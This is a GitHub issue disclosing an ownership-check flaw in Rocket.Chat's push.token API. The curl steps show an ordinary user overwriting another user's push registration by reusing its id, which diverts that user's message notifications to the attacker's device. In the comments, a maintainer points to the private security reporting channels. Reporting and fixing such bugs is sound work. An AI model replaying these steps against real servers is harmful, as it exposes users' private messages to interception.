Skip to content

push.token registration overwrites other users' push documents #42485

Description

@Victor725

Description:

POST /api/v1/push.token (apps/meteor/server/api/v1/push.ts) accepts a client-supplied id and passes it as _id to Push.registerPushToken. The lookup (services/push/tokenManagement/findDocumentToUpdate.ts) does PushToken.findOneById(data._id) without checking ownership, and canModifyTokenDocument returns true whenever neither side has a voipToken (the common case). A regular user can therefore rewrite another user's push-registration document — including its token (delivery target) and userId — diverting the victim's message notifications to the attacker's device.

Steps to reproduce:

  1. On a fresh workspace, register an initial user (becomes admin), then two regular users Bob (victim) and Mallory (attacker) (users.register + login; both roles: ["user"]).
  2. Victim (Bob) registers a device:
curl -s -X POST http://localhost:3000/api/v1/push.token -H "$BOB_AUTH" \
  -H 'Content-Type: application/json' \
  -d '{"type":"gcm","value":"VICTIM-TOKEN-AAA","appName":"victim.app"}'
# 200 → result._id = 6abdcbeb9d3d917f20c51e84,
#        result = {token:{gcm:"VICTIM-TOKEN-AAA"}, userId:"<bobUid>", appName:"victim.app"}
  1. Attacker (Mallory, regular user) re-registers with the same id and her own token:
curl -s -X POST http://localhost:3000/api/v1/push.token -H "$MALLORY_AUTH" \
  -H 'Content-Type: application/json' \
  -d '{"id":"6abdcbeb9d3d917f20c51e84","type":"gcm","value":"ATTACKER-TOKEN-BBB","appName":"attacker.app"}'

Expected behavior:

Updates should be scoped to the caller's own documents (lookup by {_id, userId}); a mismatched owner must result in rejection or a new document, never a takeover.

Actual behavior:

The call returns 200 with the same document (_id and createdAt unchanged) now reading:

{"token":{"gcm":"ATTACKER-TOKEN-BBB"},"userId":"<malloryUid>","appName":"attacker.app"}

Server log: Push token updated ... modifiedCount:1, matchedCount:1. From this point Bob's device receives nothing, and notifications for Bob's messages (which typically carry sender and message preview) are delivered to the attacker-controlled device.

Server Setup Information:

  • Version of Rocket.Chat Server: 8.10.0-develop (branch develop, commit 151b7df, 2026-10-01)
  • License Type: Community (no license)
  • Number of Users: 3 (1 admin for setup, victim + attacker regular users)
  • Operating System: Linux (Docker)
  • Deployment Method: docker (built from source following the official CI pipeline: yarn install → turbo run build → meteor build → apps/meteor/.docker/Dockerfile.alpine)
  • Number of Running Instances: 1
  • DB Replicaset Oplog: enabled (single-node replica set rs0)
  • NodeJS Version: 24.15.0
  • MongoDB Version: 8.0

Client Setup Information

  • Desktop App or Browser Version: none — plain REST via curl
  • Operating System: any

Activity

  1. anujmishra03 commented on Oct 1, 2026

    @anujmishra03

    Hi @Victor725, I’d like to work on this issue. I’ve gone through the reproduction steps and the ownership-check issue in findDocumentToUpdate.ts.

    I’m planning to trace the existing push-token update flow, add the ownership check, and cover the expected behavior with tests.

    Would it be okay if I take this up?

  2. Victor725 commented on Oct 2, 2026

    @Victor725
    Author

    Sure, feel free to work on it! I’m not a maintainer, though, so I can’t officially assign the issue.

  3. changed the title [-]`push.token` registration overwrites other users' push documents[/-] [+]DELETED[/+] on Oct 2, 2026
  4. Victor725 commented on Oct 2, 2026

    @Victor725
    Author

    Thanks!

  5. changed the title [-]DELETED[/-] [+]`push.token` registration overwrites other users' push documents[/+] on Oct 2, 2026
  6. julio-rocketchat commented on Oct 2, 2026

    @julio-rocketchat
    Member

    The right way to report security issues are via advisories, HackerOne, or email (we saw that you already sent an email with all the possible findings and we will track it).

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions